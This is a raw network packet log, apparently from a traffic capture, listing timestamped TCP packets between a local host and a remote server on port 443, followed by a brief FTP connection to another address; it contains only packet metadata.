Oct 1, 2024 07:31:51.458115101 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.458173990 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.458383083 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.458431005 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.458432913 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.458444118 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.458476067 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.458606958 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.458662033 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.458833933 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.458884954 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.458961010 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.459007978 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.459037066 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.459080935 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.459212065 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.459266901 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.459494114 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.459542036 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.478966951 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.479010105 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.479048967 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.479084969 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.479104996 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.479119062 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.522738934 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.548425913 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.548501968 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.548634052 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.548677921 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.548707008 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.548716068 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.548729897 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.548732996 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.548751116 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.548757076 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.548782110 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.548810005 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.548872948 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.548935890 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.549010992 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.549055099 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.549268007 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.549324036 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.549324036 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.549338102 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.549374104 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.549385071 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.549632072 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.549674988 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.549700022 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.549707890 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.549731970 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.549746037 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.549945116 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.550003052 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.550030947 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.550084114 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.550259113 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.550308943 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.550343990 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.550395966 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.569864988 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.569910049 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.569955111 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.569969893 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.569979906 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.570060015 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.570115089 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.570123911 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.570168972 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.639390945 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.639478922 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.639513969 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.639549971 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.639571905 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.639604092 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.639616966 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.639672041 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.639678955 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.639811039 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.639863968 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.639873028 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640039921 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640083075 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640098095 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.640104055 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640141010 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.640155077 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.640286922 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640341997 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.640553951 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640585899 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640604973 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.640611887 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640630960 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.640645981 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.640681028 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.640758038 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.640963078 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.641021967 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.641088963 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.641144991 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.660789013 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.660851002 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.660891056 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.660909891 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.660922050 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.660931110 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.660953045 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.710268021 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.730133057 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730192900 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730242014 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730241060 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.730257988 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730293036 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.730349064 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730407000 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.730416059 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730613947 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730676889 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.730684996 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730695963 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730751038 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.730757952 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730848074 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730900049 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.730906963 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.730952978 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731015921 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.731021881 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731132984 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731189966 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.731198072 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731421947 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731476068 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.731482029 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731525898 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731579065 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.731585979 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731662035 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731714964 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.731723070 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731933117 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.731983900 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.731991053 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.751457930 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.751584053 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.751585960 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.751605034 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.751655102 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.751667023 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.751678944 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.751709938 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.751741886 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.752564907 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.752705097 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.820635080 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.820771933 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.820818901 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.820873976 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.820944071 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.821002960 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.821142912 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.821202993 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.821259022 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.821314096 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.821369886 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.821424007 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.821547031 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.821604013 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.821690083 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.821747065 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.821902037 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.821969032 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.822094917 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.822150946 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.822171926 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.822227955 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.822232962 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.822246075 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.822287083 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.822720051 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.822767019 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.822793007 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.822805882 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.822829008 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.822855949 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.842120886 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.842202902 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.842235088 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.842294931 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.842365980 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.842437029 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.851912022 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.852011919 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.911691904 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.911742926 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.911767960 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.911792994 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.911808014 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.911828995 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.911942005 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.911997080 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.912059069 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.912107944 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.912307978 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.912357092 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.912507057 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.912549019 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.912553072 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.912563086 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.912592888 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.912724018 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.912779093 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.912930965 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.912978888 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.913121939 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.913173914 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.913176060 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.913194895 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.913223982 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.913240910 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.913242102 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.913254023 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.913285017 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.913330078 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.913635969 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.913683891 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.915369034 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.915447950 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.932881117 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.932938099 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.932950020 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.932975054 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.932990074 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.933008909 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:51.933191061 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:51.933243990 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.002676964 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.002763033 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.002805948 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.002859116 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.002909899 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.002965927 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.003070116 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.003117085 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.003247023 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.003299952 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.003412008 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.003460884 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.003490925 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.003545046 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.003777027 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.003896952 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.003968954 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.004020929 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.004036903 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.004085064 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.004158974 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.004216909 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.004420996 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.004468918 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.004587889 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.004679918 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.005613089 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.005696058 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.023673058 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.023729086 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.023751974 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.023770094 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.023792028 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.023813963 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.023857117 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.023910046 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.093332052 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.093399048 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.093410969 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.093430996 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.093458891 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.093475103 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.093486071 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.093535900 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.093779087 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.093835115 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.093940020 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.094043970 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.094119072 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.094155073 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.094175100 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.094181061 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.094199896 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.094218969 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.094266891 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.094316006 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.094703913 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.094759941 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.094944954 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.094985962 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.095001936 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.095011950 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.095022917 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.095046043 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.095135927 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.095191002 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.095316887 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.095356941 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.095366001 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.095371962 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.095397949 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.095413923 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.114428997 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.114465952 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.114541054 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.114561081 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.114574909 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.114597082 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.114703894 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.114757061 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.184653044 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.184751034 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.184753895 CEST	443	49714	67.212.175.162	192.168.2.8
Oct 1, 2024 07:31:52.184799910 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:52.212735891 CEST	49714	443	192.168.2.8	67.212.175.162
Oct 1, 2024 07:31:54.126929045 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:54.131827116 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:54.131902933 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:54.746680975 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:54.750654936 CEST	49715	21	192.168.2.8	5.2.84.236
Oct 1, 2024 07:31:54.755502939 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:54.970118046 CEST	21	49715	5.2.84.236	192.168.2.8
Oct 1, 2024 07:31:54.972088099 CEST	49715	21	192.168.2.8	5.2.84.236
